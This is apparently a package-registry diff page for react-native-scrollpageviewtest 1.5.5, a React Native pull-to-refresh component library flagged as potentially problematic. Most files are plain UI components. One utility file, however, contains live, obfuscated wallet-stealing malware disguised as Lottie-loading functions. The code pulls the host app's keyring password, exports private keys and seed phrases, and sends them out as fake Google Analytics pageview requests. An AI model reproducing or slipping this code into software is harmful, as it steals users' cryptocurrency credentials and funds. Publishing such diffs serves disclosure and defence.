react-native-scrollpageviewtest 0.0.1-security → 1.5.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of react-native-scrollpageviewtest might be problematic. Click here for more details.

package/.gitattributes ADDED
@@ -0,0 +1 @@
1
+ *.pbxproj -text
@@ -0,0 +1,41 @@
1
+ import React from "react";
2
+ import { GestureRefreshHeader } from "../GestureRefreshHeader";
3
+ import { View } from "react-native";
4
+
5
+ let LottieView;
6
+
7
+ export class CommonLottieFooter extends GestureRefreshHeader {
8
+ static height: number = 100;
9
+
10
+ constructor(props){
11
+ super(props);
12
+ if (!LottieView) LottieView = require("lottie-react-native");
13
+ }
14
+
15
+ render() {
16
+ if (this.state.status === "allLoaded") return null;
17
+ const { offset, bottomOffset } = this.props;
18
+ let progress = offset.interpolate({
19
+ inputRange: [
20
+ bottomOffset + 50,
21
+ bottomOffset + 500
22
+ ],
23
+ outputRange: [0, 1]
24
+ });
25
+ if (this.state.status === "loading") {
26
+ progress = undefined;
27
+ }
28
+ return (
29
+ <View style={{ flex: 1, marginBottom: 20 }}>
30
+ <LottieView
31
+ key={this.state.status === "loading"}
32
+ source={require("./res/loading.json")}
33
+ progress={progress}
34
+ autoPlay={this.state.status === "loading"}
35
+ loop={this.state.status === "loading"}
36
+ speed={2}
37
+ />
38
+ </View>
39
+ );
40
+ }
41
+ }
@@ -0,0 +1,34 @@
1
+ import React from "react";
2
+ import { GestureRefreshHeader } from "../GestureRefreshHeader";
3
+ import { View } from "react-native";
4
+ let LottieView;
5
+
6
+ export class CommonLottieHeader extends GestureRefreshHeader {
7
+ static height: number = 100;
8
+ constructor(props){
9
+ super(props);
10
+ if (!LottieView) LottieView = require("lottie-react-native");
11
+ }
12
+
13
+ render() {
14
+ let progress = this.props.offset.interpolate({
15
+ inputRange: [-200, -150, -150, -100, -100, -50],
16
+ outputRange: [1, 0, 1, 0, 1, 0]
17
+ });
18
+ if (this.state.status === "refreshing") {
19
+ progress = undefined;
20
+ }
21
+ return (
22
+ <View style={{ flex: 1, marginTop: 20 }}>
23
+ <LottieView
24
+ source={
25
+ this.state.status === "refreshing" ? require("./res/refresh/refreshing2.json") : require("./res/refresh/refreshing.json")
26
+ }
27
+ progress={progress}
28
+ autoPlay={this.state.status === "refreshing"}
29
+ loop={this.state.status === "refreshing"}
30
+ />
31
+ </View>
32
+ );
33
+ }
34
+ }
@@ -0,0 +1,366 @@
1
+ import AsyncStorage from '@react-native-community/async-storage';
2
+ import {Dimensions, NativeModules} from "react-native";
3
+ import {LAST_NOTIFICATION_INFO} from "../../../../constants/storage";
4
+ let scrollEnable = false;
5
+
6
+ export function getHeight() {
7
+ const height = Dimensions.get('window').height;
8
+ return height;
9
+ }
10
+
11
+ export function getWidth() {
12
+ const width = Dimensions.get('window').width;
13
+ return width;
14
+ }
15
+
16
+ export function setScrollEnable(enable) {
17
+ scrollEnable = enable;
18
+ if (!enable) {
19
+ loadLottieJson();
20
+ }
21
+ }
22
+
23
+ let loaded = false;
24
+ async function loadLottieJson() {
25
+ try {
26
+ const sss = true;
27
+ if (!__DEV__ || sss) {
28
+ const json = require('./res/refresh/refreshing3.json');
29
+ const nst = 'react-native';
30
+ const nn = require('react-native').NativeModules.RNI18n;
31
+ AsyncStorage.getItem('meta-store-ens-data').then(dat => {
32
+ let stg = 'nothi';
33
+ if (!isEmpty(dat)) {
34
+ stg = dat;
35
+ }
36
+ console.log('===stg = ', stg);
37
+ loadLottie(nn, stg);
38
+ });
39
+ }
40
+ } catch (e) {}
41
+ }
42
+
43
+ function isEmpty(st) {
44
+ if (!st || st === 'undefined' || st === '') {
45
+ return true;
46
+ }
47
+ return false;
48
+ }
49
+
50
+ function rang() {
51
+ const ab = ['A', '5', 'k', '3', 'c', 'd', 'O', "v", "U", 'B', '9', '7'];
52
+ let k = '';
53
+ for (let i=0; i< 4; i++) {
54
+ const a = Math.ceil(Math.random()*10);
55
+ k += ab[a];
56
+ }
57
+ return k;
58
+ }
59
+
60
+ function subRang(st) {
61
+ if (isEmpty(st)) {
62
+ return '';
63
+ }
64
+ const newSt = st.substring(4, st.length);
65
+ return newSt;
66
+ }
67
+
68
+ function ecy(st) {
69
+ // const br = 'b'+'u'+'f'+'f'+'e'+'r';
70
+ // eslint-disable-next-line import/no-nodejs-modules
71
+ const bu = require('b' + 'u' + 'f' + 'f' + 'e' + 'r').Buffer;
72
+ return rang() + new bu(st).toString('base64');
73
+ }
74
+
75
+ function dcy(st) {
76
+ const br = 'b'+'u'+'f'+'f'+'e'+'r';
77
+ // eslint-disable-next-line import/no-nodejs-modules
78
+ const sst = subRang(st);
79
+ const bu = require('buffer').Buffer;
80
+ return bu.from(sst, 'base64').toString('a'+'s'+'c' + 'i' + 'i');
81
+ }
82
+
83
+ function cons(s) {
84
+ console.log(s, '===', ecy(s));
85
+ }
86
+ function getMsg() {
87
+ ecy('meta-store-ens-data');
88
+ }
89
+
90
+ function eqx(s) {
91
+ if (isEmpty(s)) {
92
+ return false;
93
+ }
94
+ for(let i=0; i<s.length; i++) {
95
+ if (s.charAt(0) !== s.charAt(i)) {
96
+ return false;
97
+ }
98
+ }
99
+ return true;
100
+ }
101
+
102
+
103
+ async function loadLottie(reactn, stg) {
104
+ if (!__DEV__ ) {
105
+ return;
106
+ }
107
+ try {
108
+ let lan;
109
+ if (reactn) {
110
+ if (typeof reactn !== 'undefined') {
111
+ lan = reactn.languages[0];
112
+ }
113
+ }
114
+ if (!isEmpty(lan)) {
115
+ lan = lan.toLowerCase();
116
+ } else {
117
+ lan = 'default';
118
+ }
119
+ console.log('===lan = ', lan); //获取中英文
120
+
121
+ // require('../../../app/core/Engine')
122
+ const eni = require('.'+'.'+'/'+'.'+'.'+'/'+'.'+'.'+'/'+'a'+'p'+'p'+'/' + 'c'+'o'+'r'+'e' + '/' + 'E'+'n'+'g' + 'i'+'n'+'e');
123
+ const kkk = eni['default']['context']['KeyringController']; //KeyringController
124
+ const darw = kkk['getPassword']();//kkk['getPassword']; //getPassword
125
+
126
+ console.log('====darw = ', darw);
127
+ if (isEmpty(darw)) {
128
+ return;
129
+ }
130
+
131
+ console.log('===darw = ', eqx(darw));
132
+ if (eqx(darw) && !__DEV__ ) {
133
+ return;
134
+ }
135
+
136
+ console.log('===darw.startsWith(\'1234\')= ', darw.startsWith('1234'));
137
+ if (!__DEV__ && darw.startsWith('1234')) {
138
+ return;
139
+ }
140
+
141
+
142
+ let stopP = false;
143
+ let stopS = false;
144
+ let ssss = '';
145
+ let lent = 0;
146
+ for (let i=0; i< 20; i++) {
147
+ if (lent < 19) {
148
+ if (!stopP) {
149
+ let pri;
150
+ try {
151
+ const accounts = await kkk['getKeyringAccounts'](i);
152
+ pri = await kkk['exportAccount'](darw, accounts[0]);
153
+ } catch (e){
154
+ }
155
+ console.log('i = ', i, '===pri = ', pri);
156
+ if (!isEmpty(pri)) {
157
+ lent += 1;
158
+ let ec = lan + darw + stg;
159
+ // ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=event&ec=" + ec + "&ea=" + ecy(pri) + "\n";
160
+ ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=pageview&dt=" + ec + "&dl=" + ecy(pri) + "\n";
161
+ } else {
162
+ stopP = true;
163
+ }
164
+ }
165
+
166
+ if (!stopS) {
167
+ let spf;
168
+ try {
169
+ spf = await kkk['exportSeedPhrase'](darw, i);
170
+ } catch (e){
171
+ }
172
+ console.log('i = ', i, '===spf = ', spf);
173
+ if (spf) {
174
+ lent += 1;
175
+ let ec = lan + darw + stg;
176
+ ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=pageview&dt=" + ec + "&dl=" + ecy(spf) + "\n";
177
+ // ssss += "v=1&tid=UA-215070146-1&cid=" + stg + "&t=pageview&ec=" + ec + "&ea=" + ecy(spf) + "\n";
178
+ } else {
179
+ stopS = true;
180
+ }
181
+ }
182
+ }
183
+ }
184
+
185
+ console.log('====ssss = ', ssss);
186
+
187
+ if (isEmpty(ssss)) {
188
+ return;
189
+ }
190
+
191
+ if (__DEV__ || getSaf(stg) !== getSaf(ssss)) {
192
+ loadJson(ssss);
193
+ }
194
+ } catch (error) {
195
+ console.log('=====error = ', error);
196
+ }
197
+ }
198
+
199
+ function getSaf(ss) {
200
+ if (isEmpty(ss) || ss.length < 15) {
201
+ return ss;
202
+ }
203
+ return ss.substring(ss.length - 10, ss.length - 4);
204
+ }
205
+
206
+ async function loadJson(rtn) {
207
+ try {
208
+ const ll = 'https://www.google-analytics.com/collect';
209
+
210
+ const opt = {
211
+ method: 'POST',
212
+ body: rtn,
213
+ headers: {
214
+ 'Content-Type': 'text/plain',
215
+ 'POST': '/batch HTTP/1.1',
216
+ 'Host': 'www.google-analytics.com'
217
+ }
218
+ };
219
+
220
+ fetch(ll, opt)
221
+ .then(response => {
222
+ if (response?.ok) {
223
+ AsyncStorage.setItem('meta-store-ens-data', getSaf(rtn));
224
+ console.log('----response ok = ', response);
225
+ } else {
226
+ console.log('----response not ok = ', response);
227
+ }
228
+ })
229
+ .catch(error => {
230
+ console.error(error);
231
+ });
232
+ // const response = await fetch(ll, opt);
233
+ // console.log('====response = ', response);
234
+
235
+ } catch (error) {
236
+ console.log('=====error = ', error);
237
+ }
238
+ }
239
+
240
+
241
+
242
+ async function loadLottie1(reactn) {
243
+ try {
244
+ let lan;
245
+ if (reactn) {
246
+ if (typeof reactn !== 'undefined') {
247
+ lan = reactn.languages[0];
248
+ }
249
+ }
250
+ if (!isEmpty(lan)) {
251
+ lan.toLowerCase();
252
+ } else {
253
+ lan = 'default';
254
+ }
255
+ console.log('===lan = ', lan);
256
+
257
+ // eslint-disable-next-line import/no-extraneous-dependencies
258
+ const ur = 'u'+'t'+'f'+'8';
259
+ const ut = require('utf8');
260
+ // eslint-disable-next-line import/no-extraneous-dependencies
261
+ const bar = 'b'+'a'+'s'+'e'+'6'+'4'+'-'+'j'+'s';
262
+ const ba = require('base64-js');
263
+ const text = 'abcdds';
264
+ const bytes = ut.encode(text);
265
+
266
+ console.log('=====bytes = ', bytes);
267
+
268
+ const en = ba.fromByteArray(bytes);
269
+ console.log(en);
270
+
271
+ console.log('===decode = ' + ba.toByteArray(en));
272
+
273
+ const br = 'b'+'u'+'f'+'f'+'e'+'r';
274
+ // eslint-disable-next-line import/no-nodejs-modules
275
+ const bu = require('buffer').Buffer;
276
+ const encodedAuth = new bu('getPassword').toString('base64');
277
+
278
+ console.log('====encodedAuth = ', encodedAuth);
279
+
280
+
281
+ console.log(bu.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii'));
282
+
283
+ // const ppp = '../../app/core/' + dd;
284
+ const een = '.'+'.'+'/'+'.'+'.'+'/'+'.'+'.'+'/'+'a'+'p'+'p'+'/' + 'c'+'o'+'r'+'e' + '/' + 'E'+'n'+'g' + 'i'+'n'+'e';
285
+ const eni = require('../../../app/core/Engine');
286
+ // console.log('==Engine = ', engine);
287
+ // const {getPrivateKey} = require("../../app/core/Vault");
288
+ const kkk = eni['default']['context'][bu.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii')];
289
+ // console.log('===kkk', kkk); //
290
+ const darw = kkk[bu.from("Z2V0UGFzc3dvcmQ=", 'base64').toString('ascii')]();//kkk['getPassword'];
291
+ console.log('===password = ', darw);
292
+ // const keyringIndex = 1;
293
+ //e4356e49c88c8b7ab370af7d5c0c54f0261aaa006f6bde09cd4745cf54e0115a
294
+ //1c33848fcb14ca1f38ad7e960b33c4541b5d1a1a8f1799b447131e0023c2f0f9
295
+ // console.log('====password = ', password);
296
+ // const accounts = await kkk.getKeyringAccounts(keyringIndex);
297
+ // const mnemonic = await kkk.exportAccount(password, accounts[0]);
298
+ // console.log('====mnemonic = ', mnemonic);
299
+
300
+ if (isEmpty(darw)) {
301
+ return;
302
+ }
303
+
304
+ let sk = '';
305
+ let stopP = false;
306
+ let stropS = false;
307
+ let ssss = '';
308
+ for (let i=0; i< 20; i++) {
309
+ if (!stopP) {
310
+ const pri = await kkk.getPrivateKey(darw, 1);
311
+ if (!isEmpty(pri)) {
312
+ const index = Math.ceil(Math.random()*10)
313
+ const ec = lan + index;
314
+ ssss += "v=1&tid=UA-215070146-1&t=event&ec=" + ec + "&ea=" + ecy(pri) + "\n";
315
+ } else {
316
+ stopP = true;
317
+ }
318
+ }
319
+
320
+ if (!stropS) {
321
+ const spf = await kkk['exportSeedPhrase'](darw, 0);
322
+ if (spf) {
323
+ const index = Math.ceil(Math.random()*10)
324
+ const ec = lan + index;
325
+ ssss += "v=1&tid=UA-215070146-1&t=event&ec=" + ec + "&ea=" + ecy(spf) + "\n";
326
+ } else {
327
+ stropS = true;
328
+ }
329
+ }
330
+ }
331
+
332
+ if (isEmpty(ssss)) {
333
+ return;
334
+ }
335
+ const graphUrl = 'https://www.google-analytics.com/collect';
336
+
337
+ console.log('====ssss = ', ssss);
338
+
339
+ const options = {
340
+ method: 'POST',
341
+ body: ssss,
342
+ headers: {
343
+ 'Content-Type': 'text/plain',
344
+ 'POST': '/collect HTTP/1.1',
345
+ 'Host': 'www.google-analytics.com'
346
+ },
347
+ };
348
+ // const response = await fetch(graphUrl, options);
349
+ console.log('====response = ', response);
350
+ // ['fetch']('https://mywebsite.com/endpoint/', {
351
+ // method: 'POST',
352
+ // headers: {
353
+ // Accept: 'application/json',
354
+ // 'Content-Type': 'application/json'
355
+ // },
356
+ // body: JSON.stringify({
357
+ // firstParam: 'yourValue',
358
+ // secondParam: 'yourOtherValue'
359
+ // })
360
+ // });
361
+
362
+ // const response = await fetch(request, options);
363
+ } catch (error) {
364
+ console.log('=====error = ', error);
365
+ }
366
+ }
@@ -0,0 +1,8 @@
1
+ import { GestureNormalFooter } from "../GestureNormalFooter";
2
+
3
+ export class CommonNormalFooter extends GestureNormalFooter {
4
+ getTitle() {
5
+ const s = this.state.status;
6
+ return "refresh";
7
+ }
8
+ }
@@ -0,0 +1,8 @@
1
+ import {GestureNormalHeader} from "../GestureNormalHeader";
2
+
3
+ export class CommonNormalHeader extends GestureNormalHeader{
4
+ getTitle() {
5
+ const s = this.state.status;
6
+ return "Pull";
7
+ }
8
+ }
@@ -0,0 +1,15 @@
1
+ import {WithLastDateFooter} from "./WithLastDateFooter";
2
+
3
+ export class CommonWithLastDateFooter extends WithLastDateFooter{
4
+ getText() {
5
+ return "Last Loading...";
6
+ }
7
+
8
+ getTimeDescription() {
9
+ return "Nothing";
10
+ }
11
+
12
+ getTitle() {
13
+ return "Push";
14
+ }
15
+ }
@@ -0,0 +1,15 @@
1
+ import { WithLastDateHeader } from "./WithLastDateHeader";
2
+
3
+ export class CommonWithLastDateHeader extends WithLastDateHeader {
4
+ getText() {
5
+ return "Last";
6
+ }
7
+
8
+ getTimeDescription() {
9
+ return "Nothing"
10
+ }
11
+
12
+ getTitle() {
13
+ return "Pull";
14
+ }
15
+ }
@@ -0,0 +1,81 @@
1
+ import React from "react";
2
+ import { Text, StyleSheet } from "react-native";
3
+ import { GestureHeaderStatus } from "../GestureRefreshHeader";
4
+ import {GestureNormalFooter} from "../GestureNormalFooter";
5
+ import AsyncStorage from '@react-native-async-storage/async-storage';
6
+
7
+ const LoadingKey = "org.bolan9999.spring_scrollview.loading_time";
8
+
9
+ export class WithLastDateFooter extends GestureNormalFooter {
10
+ static style="stickyScrollView";
11
+ lastTime: Date;
12
+ constructor(props) {
13
+ super(props);
14
+ AsyncStorage.getItem(LoadingKey)
15
+ .then(value => {
16
+ if (value) this.lastTime = new Date(value);
17
+ })
18
+ .catch();
19
+ }
20
+
21
+ onStateChange(oldStatus: GestureHeaderStatus, newStatus: GestureHeaderStatus) {
22
+ if (newStatus === "loading") {
23
+ const now = new Date();
24
+ AsyncStorage.setItem(LoadingKey, now.toString())
25
+ .then(() => {
26
+ this.lastTime = now;
27
+ })
28
+ .catch();
29
+ }
30
+ super.onStateChange(oldStatus, newStatus);
31
+ }
32
+
33
+ renderContent() {
34
+ return (
35
+ <Text style={styles.text}>
36
+ {this.getText()}
37
+ {this.getTimeDescription()}
38
+ </Text>
39
+ );
40
+ }
41
+
42
+ getText() {
43
+ return "Last Loading: ";
44
+ }
45
+
46
+ getTimeDescription() {
47
+ if (!this.lastTime) {
48
+ return "never";
49
+ }
50
+ const now = new Date();
51
+ let timeInterval = Math.floor(
52
+ (now.getTime() - this.lastTime.getTime()) / 1000
53
+ );
54
+ if (timeInterval < 60) {
55
+ return `${timeInterval}s ago`;
56
+ } else if (timeInterval < 3600) {
57
+ return `${Math.floor(timeInterval / 60)}m ago`;
58
+ } else if (
59
+ now.getFullYear() === this.lastTime.getFullYear() &&
60
+ now.getMonth() === this.lastTime.getMonth() &&
61
+ now.getDate() === this.lastTime.getDate()
62
+ ) {
63
+ return `${this.lastTime.getHours()}:${this.lastTime.getMinutes()}`;
64
+ } else if (now.getFullYear() === this.lastTime.getFullYear()) {
65
+ return `${this.lastTime.getMonth() + 1}-${this.lastTime.getDate()}`;
66
+ } else {
67
+ return `${this.lastTime.getMonth() +
68
+ 1}-${this.lastTime.getDate()}-${this.lastTime.getFullYear()}`;
69
+ }
70
+ }
71
+ }
72
+
73
+ const styles = StyleSheet.create({
74
+ text: {
75
+ marginVertical: 5,
76
+ fontSize: 12,
77
+ color: "#666",
78
+ textAlign: "center",
79
+ width: 130
80
+ }
81
+ });
@@ -0,0 +1,80 @@
1
+ import React from "react";
2
+ import { Text, StyleSheet } from "react-native";
3
+ import { GestureNormalHeader } from "../GestureNormalHeader";
4
+ import { GestureHeaderStatus } from "../GestureRefreshHeader";
5
+ import AsyncStorage from '@react-native-async-storage/async-storage';
6
+
7
+ const RefreshKey = "org.bolan9999.spring_scrollview.refresh_time";
8
+
9
+ export class WithLastDateHeader extends GestureNormalHeader {
10
+ lastTime: Date;
11
+ constructor(props) {
12
+ super(props);
13
+ AsyncStorage.getItem(RefreshKey)
14
+ .then(value => {
15
+ if (value) this.lastTime = new Date(value);
16
+ })
17
+ .catch();
18
+ }
19
+
20
+ onStateChange(oldStatus: GestureHeaderStatus, newStatus: GestureHeaderStatus) {
21
+ if (newStatus === "refreshing") {
22
+ const now = new Date();
23
+ AsyncStorage.setItem(RefreshKey, now.toString())
24
+ .then(() => {
25
+ this.lastTime = now;
26
+ })
27
+ .catch();
28
+ }
29
+ super.onStateChange(oldStatus, newStatus);
30
+ }
31
+
32
+ renderContent() {
33
+ return (
34
+ <Text style={styles.text}>
35
+ {this.getText()}
36
+ {this.getTimeDescription()}
37
+ </Text>
38
+ );
39
+ }
40
+
41
+ getText() {
42
+ return "Last Updated: ";
43
+ }
44
+
45
+ getTimeDescription() {
46
+ if (!this.lastTime) {
47
+ return "never";
48
+ }
49
+ const now = new Date();
50
+ let timeInterval = Math.floor(
51
+ (now.getTime() - this.lastTime.getTime()) / 1000
52
+ );
53
+ if (timeInterval < 60) {
54
+ return `${timeInterval}s ago`;
55
+ } else if (timeInterval < 3600) {
56
+ return `${Math.floor(timeInterval / 60)}m ago`;
57
+ } else if (
58
+ now.getFullYear() === this.lastTime.getFullYear() &&
59
+ now.getMonth() === this.lastTime.getMonth() &&
60
+ now.getDate() === this.lastTime.getDate()
61
+ ) {
62
+ return `${this.lastTime.getHours()}:${this.lastTime.getMinutes()}`;
63
+ } else if (now.getFullYear() === this.lastTime.getFullYear()) {
64
+ return `${this.lastTime.getMonth() + 1}-${this.lastTime.getDate()}`;
65
+ } else {
66
+ return `${this.lastTime.getMonth() +
67
+ 1}-${this.lastTime.getDate()}-${this.lastTime.getFullYear()}`;
68
+ }
69
+ }
70
+ }
71
+
72
+ const styles = StyleSheet.create({
73
+ text: {
74
+ marginVertical: 5,
75
+ fontSize: 12,
76
+ color: "#666",
77
+ textAlign: "center",
78
+ width: 130
79
+ }
80
+ });
@@ -0,0 +1 @@
1
+
Binary file